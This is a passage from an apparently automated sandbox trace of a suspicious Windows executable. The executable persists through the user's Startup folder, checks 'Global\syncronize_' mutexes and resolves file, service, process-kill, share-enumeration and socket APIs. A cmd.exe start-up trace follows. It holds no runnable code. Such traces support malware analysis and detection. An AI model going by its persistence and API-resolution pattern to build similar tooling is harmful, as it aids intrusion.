	[0242.986] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x4d4aa0
	[0242.986] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQU") returned 0x88
	[0242.986] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4b3820 | out: hHeap=0x4b0000) returned 1
	[0242.987] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0242.987] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x4c4820 | out: hHeap=0x4b0000) returned 1
	[0242.987] GetVersion () returned 0x1db10106
	[0242.987] GetCurrentProcess () returned 0xffffffff
	[0242.987] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1
	[0242.987] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1
	[0242.987] CloseHandle (hObject=0x8c) returned 1
	[0242.987] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102
	[0242.987] ExitProcess (uExitCode=0x0) 

Process:
	id = "11"
	image_name = "swpesp.exe"
	filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\swpesp.exe"
	page_root = "0x76275000"
	os_pid = "0x4e8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x0"
	cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\swpesp.exe\" "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e17d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 84
	os_tid = 0x4ec

	[0242.384] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x755c0000
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetProcAddress") returned 0x755d1222
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetModuleHandleW") returned 0x755d34b0
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="FindNextFileW") returned 0x755d54ee
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="FindClose") returned 0x755d4442
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="MoveFileW") returned 0x755e9af0
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetFileSizeEx") returned 0x755d59e2
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetModuleFileNameW") returned 0x755d4950
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetFileAttributesW") returned 0x755d1b18
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="ExitProcess") returned 0x755d7a10
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetCommandLineW") returned 0x755d5223
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetComputerNameW") returned 0x755ddd0e
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetComputerNameA") returned 0x755eb6e0
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="CreateMutexW") returned 0x755d424c
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="lstrlenW") returned 0x755d1700
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="lstrlenA") returned 0x755d5a4b
	[0242.385] GetProcAddress (hModule=0x755c0000, lpProcName="GetCurrentProcess") returned 0x755d1809
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="WaitForSingleObject") returned 0x755d1136
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="GetLogicalDrives") returned 0x755d5371
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="GetTickCount") returned 0x755d110c
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="DeleteFileW") returned 0x755d89b3
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="WideCharToMultiByte") returned 0x755d170d
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x755d1916
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="Sleep") returned 0x755d10ff
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="LeaveCriticalSection") returned 0x779f2270
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="ReadFile") returned 0x755d3ed3
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="CreateFileW") returned 0x755d3f5c
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="OpenMutexW") returned 0x755d5151
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="EnterCriticalSection") returned 0x779f22b0
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="WaitForMultipleObjects") returned 0x755d4220
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="lstrcmpiW") returned 0x755ed5cd
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="lstrcmpiA") returned 0x755d3e8e
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="DeleteCriticalSection") returned 0x77a045f5
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="ReleaseMutex") returned 0x755d111e
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="CloseHandle") returned 0x755d1410
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="GetVersion") returned 0x755d4467
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="CreateThread") returned 0x755d34d5
	[0242.386] GetProcAddress (hModule=0x755c0000, lpProcName="ExpandEnvironmentStringsW") returned 0x755d4173
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="QueryPerformanceCounter") returned 0x755d1725
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="QueryPerformanceFrequency") returned 0x755d41f0
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="GetCurrentProcessId") returned 0x755d11f8
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="SetFileAttributesW") returned 0x755ed4f7
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="GetVolumeInformationW") returned 0x755ec860
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="WriteFile") returned 0x755d1282
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="SetFilePointerEx") returned 0x755ec807
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="SetEndOfFile") returned 0x755ece2e
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="FindFirstFileW") returned 0x755d4435
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="GetProcessHeap") returned 0x755d14e9
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="HeapReAlloc") returned 0x77a11f6e
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="HeapAlloc") returned 0x779fe026
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="HeapFree") returned 0x755d14c9
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="CreatePipe") returned 0x7565415b
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="SetHandleInformation") returned 0x755e195c
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="CreateProcessW") returned 0x755d103d
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="CompareStringW") returned 0x755d3bca
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="CompareStringA") returned 0x755d3c5a
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="OpenProcess") returned 0x755d1986
	[0242.387] GetProcAddress (hModule=0x755c0000, lpProcName="TerminateProcess") returned 0x755ed802
	[0242.388] GetProcAddress (hModule=0x755c0000, lpProcName="GetSystemTime") returned 0x755d5a96
	[0242.388] GetProcAddress (hModule=0x755c0000, lpProcName="SystemTimeToFileTime") returned 0x755d5a7e
	[0242.388] GetProcAddress (hModule=0x755c0000, lpProcName="GetLastError") returned 0x755d11c0
	[0242.388] GetProcAddress (hModule=0x755c0000, lpProcName="CreateToolhelp32Snapshot") returned 0x755f735f
	[0242.388] GetProcAddress (hModule=0x755c0000, lpProcName="Process32NextW") returned 0x755f896c
	[0242.388] GetProcAddress (hModule=0x755c0000, lpProcName="Process32FirstW") returned 0x755f8baf
	[0242.388] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x75980000
	[0242.397] GetProcAddress (hModule=0x75980000, lpProcName="RegOpenKeyExW") returned 0x7599468d
	[0242.397] GetProcAddress (hModule=0x75980000, lpProcName="RegQueryValueExW") returned 0x759946ad
	[0242.397] GetProcAddress (hModule=0x75980000, lpProcName="RegSetValueExW") returned 0x759914d6
	[0242.397] GetProcAddress (hModule=0x75980000, lpProcName="RegCloseKey") returned 0x7599469d
	[0242.397] GetProcAddress (hModule=0x75980000, lpProcName="OpenProcessToken") returned 0x75994304
	[0242.397] GetProcAddress (hModule=0x75980000, lpProcName="GetTokenInformation") returned 0x7599431c
	[0242.397] GetProcAddress (hModule=0x75980000, lpProcName="OpenSCManagerW") returned 0x7598ca64
	[0242.398] GetProcAddress (hModule=0x75980000, lpProcName="OpenServiceW") returned 0x7598ca4c
	[0242.398] GetProcAddress (hModule=0x75980000, lpProcName="CloseServiceHandle") returned 0x7599369c
	[0242.398] GetProcAddress (hModule=0x75980000, lpProcName="ControlService") returned 0x759a7144
	[0242.398] GetProcAddress (hModule=0x75980000, lpProcName="QueryServiceStatus") returned 0x75992a86
	[0242.398] GetProcAddress (hModule=0x75980000, lpProcName="EnumDependentServicesW") returned 0x75981e3a
	[0242.398] GetProcAddress (hModule=0x75980000, lpProcName="EnumServicesStatusExW") returned 0x7598b466
	[0242.398] LoadLibraryA (lpLibFileName="user32.dll") returned 0x75a20000
	[0242.613] GetProcAddress (hModule=0x75a20000, lpProcName="SystemParametersInfoW") returned 0x75a390d3
	[0242.613] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75e20000
	[0242.616] GetProcAddress (hModule=0x75e20000, lpProcName="ShellExecuteExW") returned 0x75e41e46
	[0242.616] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x779d0000
	[0242.616] GetProcAddress (hModule=0x779d0000, lpProcName="NtQuerySystemInformation") returned 0x779efda0
	[0242.616] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x754f0000
	[0243.032] GetProcAddress (hModule=0x754f0000, lpProcName="WNetCloseEnum") returned 0x754f2dd6
	[0243.032] GetProcAddress (hModule=0x754f0000, lpProcName="WNetOpenEnumW") returned 0x754f2f06
	[0243.032] GetProcAddress (hModule=0x754f0000, lpProcName="WNetEnumResourceW") returned 0x754f3058
	[0243.032] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x77270000
	[0243.033] GetProcAddress (hModule=0x77270000, lpProcName="WSAStartup") returned 0x77273ab2
	[0243.033] GetProcAddress (hModule=0x77270000, lpProcName="socket") returned 0x77273eb8
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="send") returned 0x77276f01
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="recv") returned 0x77276b0e
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="connect") returned 0x77276bdd
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="closesocket") returned 0x77273918
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="gethostbyname") returned 0x77287673
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="inet_addr") returned 0x7727311b
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="ntohl") returned 0x77272d57
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="htonl") returned 0x77272d57
	[0243.034] GetProcAddress (hModule=0x77270000, lpProcName="htons") returned 0x77272d8b
	[0243.034] GetProcessHeap () returned 0x500000
	[0243.034] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x20) returned 0x514368
	[0243.034] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=7095618879) returned 1
	[0243.034] GetTickCount () returned 0x6c49
	[0243.034] GetCurrentProcessId () returned 0x4e8
	[0243.035] GetTickCount () returned 0x6c49
	[0243.035] GetTickCount () returned 0x6c49
	[0243.035] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x20) returned 0x514390
	[0243.035] GetVersion () returned 0x1db10106
	[0243.035] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x7) returned 0x503978
	[0243.035] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x510e98
	[0243.035] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x510e98, Size=0x20) returned 0x5143e0
	[0243.035] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5143e0, Size=0x40) returned 0x514978
	[0243.035] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x514c28
	[0243.035] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQA") returned 0x84
	[0243.035] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x503978 | out: hHeap=0x500000) returned 1
	[0243.035] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0243.035] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x514978 | out: hHeap=0x500000) returned 1
	[0243.035] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x7) returned 0x503978
	[0243.035] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x510e98
	[0243.035] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x510e98, Size=0x20) returned 0x5143e0
	[0243.035] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5143e0, Size=0x40) returned 0x514978
	[0243.035] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x524c30
	[0243.036] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_KKXAGQU") returned 0x88
	[0243.036] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x503978 | out: hHeap=0x500000) returned 1
	[0243.036] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0243.036] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x514978 | out: hHeap=0x500000) returned 1
	[0243.036] GetVersion () returned 0x1db10106
	[0243.036] GetCurrentProcess () returned 0xffffffff
	[0243.036] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1
	[0243.036] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1
	[0243.036] CloseHandle (hObject=0x8c) returned 1
	[0243.036] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x102
	[0243.036] ExitProcess (uExitCode=0x0) 

Process:
	id = "12"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x705f6000"
	os_pid = "0x5bc"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "9"
	os_parent_pid = "0x4d0"
	cmd_line = "\"C:\\Windows\\system32\\cmd.exe\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "64"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e17d" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 86
	os_tid = 0x5c0

	[0246.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12f7d0 | out: lpSystemTimeAsFileTime=0x12f7d0*(dwLowDateTime=0x889b1da0, dwHighDateTime=0x1d542e6)) 
	[0246.654] GetCurrentProcessId () returned 0x5bc
	[0246.654] GetCurrentThreadId () returned 0x5c0
	[0246.654] GetTickCount () returned 0x7a6c
	[0246.654] QueryPerformanceCounter (in: lpPerformanceCount=0x12f7d8 | out: lpPerformanceCount=0x12f7d8*=7457595841) returned 1
	[0246.655] GetModuleHandleW (lpModuleName=0x0) returned 0x4ac90000
	[0246.655] __set_app_type (_Type=0x1) 
	[0246.656] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4acb7810) returned 0x0
	[0246.656] __getmainargs (in: _Argc=0x4acda608, _Argv=0x4acda618, _Env=0x4acda610, _DoWildCard=0, _StartInfo=0x4acbe0f4 | out: _Argc=0x4acda608, _Argv=0x4acda618, _Env=0x4acda610) returned 0
	[0246.657] GetCurrentThreadId () returned 0x5c0
	[0246.657] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5c0) returned 0x3c
	[0246.657] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x776d0000
	[0246.657] GetProcAddress (hModule=0x776d0000, lpProcName="SetThreadUILanguage") returned 0x776e6d40
	[0246.657] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0246.657] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0246.657] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x12f768 | out: phkResult=0x12f768*=0x0) returned 0x2
	[0246.657] VirtualQuery (in: lpAddress=0x12f750, lpBuffer=0x12f6d0, dwLength=0x30 | out: lpBuffer=0x12f6d0*(BaseAddress=0x12f000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0246.657] VirtualQuery (in: lpAddress=0x30000, lpBuffer=0x12f6d0, dwLength=0x30 | out: lpBuffer=0x12f6d0*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0246.657] VirtualQuery (in: lpAddress=0x31000, lpBuffer=0x12f6d0, dwLength=0x30 | out: lpBuffer=0x12f6d0*(BaseAddress=0x31000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0246.657] VirtualQuery (in: lpAddress=0x34000, lpBuffer=0x12f6d0, dwLength=0x30 | out: lpBuffer=0x12f6d0*(BaseAddress=0x34000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0246.657] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x12f6d0, dwLength=0x30 | out: lpBuffer=0x12f6d0*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0246.657] GetConsoleOutputCP () returned 0x1b5
	[0246.657] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4accbfe0 | out: lpCPInfo=0x4accbfe0) returned 1
	[0246.658] SetConsoleCtrlHandler (HandlerRoutine=0x4acb3184, Add=1) returned 1
	[0246.658] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.658] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0
	[0246.659] _get_osfhandle (_FileHandle=1) returned 0xf4
	[0246.659] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4acbe194 | out: lpMode=0x4acbe194) returned 0
	[0246.659] _get_osfhandle (_FileHandle=0) returned 0xe8
	[0246.659] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4acbe198 | out: lpMode=0x4acbe198) returned 0
	[0246.659] GetEnvironmentStringsW () returned 0x238aa0*
	[0246.659] GetProcessHeap () returned 0x220000
	[0246.659] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xab4) returned 0x239560
	[0246.659] FreeEnvironmentStringsW (penv=0x238aa0) returned 1
	[0246.659] GetProcessHeap () returned 0x220000
	[0246.659] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x8) returned 0x238920
	[0246.659] GetEnvironmentStringsW () returned 0x238aa0*
	[0246.659] GetProcessHeap () returned 0x220000
	[0246.659] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xab4) returned 0x23a020
	[0246.659] FreeEnvironmentStringsW (penv=0x238aa0) returned 1
	[0246.659] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12e628 | out: phkResult=0x12e628*=0x44) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x0, lpData=0x12e640*=0x18, lpcbData=0x12e624*=0x1000) returned 0x2
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x1, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x0, lpData=0x12e640*=0x1, lpcbData=0x12e624*=0x1000) returned 0x2
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x0, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x40, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x40, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x0, lpData=0x12e640*=0x40, lpcbData=0x12e624*=0x1000) returned 0x2
	[0246.660] RegCloseKey (hKey=0x44) returned 0x0
	[0246.660] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12e628 | out: phkResult=0x12e628*=0x44) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x0, lpData=0x12e640*=0x40, lpcbData=0x12e624*=0x1000) returned 0x2
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x1, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x0, lpData=0x12e640*=0x1, lpcbData=0x12e624*=0x1000) returned 0x2
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x0, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x9, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x4, lpData=0x12e640*=0x9, lpcbData=0x12e624*=0x4) returned 0x0
	[0246.660] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12e620, lpData=0x12e640, lpcbData=0x12e624*=0x1000 | out: lpType=0x12e620*=0x0, lpData=0x12e640*=0x9, lpcbData=0x12e624*=0x1000) returned 0x2
	[0246.660] RegCloseKey (hKey=0x44) returned 0x0
	[0246.660] time (in: timer=0x0 | out: timer=0x0) returned 0x5d39a3e5
	[0246.660] srand (_Seed=0x5d39a3e5) 
	[0246.660] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\""
	[0246.660] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\""
	[0246.661] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4accc0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0246.661] GetProcessHeap () returned 0x220000
	[0246.661] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0x218) returned 0x23aae0
	[0246.661] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23aaf0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0246.661] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0246.661] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0246.661] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0246.661] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0246.661] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0246.661] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0246.661] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0246.661] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0246.661] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0246.661] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0246.662] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0246.662] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0246.662] GetProcessHeap () returned 0x220000
	[0246.662] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x239560 | out: hHeap=0x220000) returned 1
	[0246.662] GetEnvironmentStringsW () returned 0x238aa0*
	[0246.662] GetProcessHeap () returned 0x220000
	[0246.662] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x8, Size=0xacc) returned 0x23ad00
	[0246.662] FreeEnvironmentStringsW (penv=0x238aa0) returned 1
	[0246.662] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0246.662] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4acbf360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0246.662] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
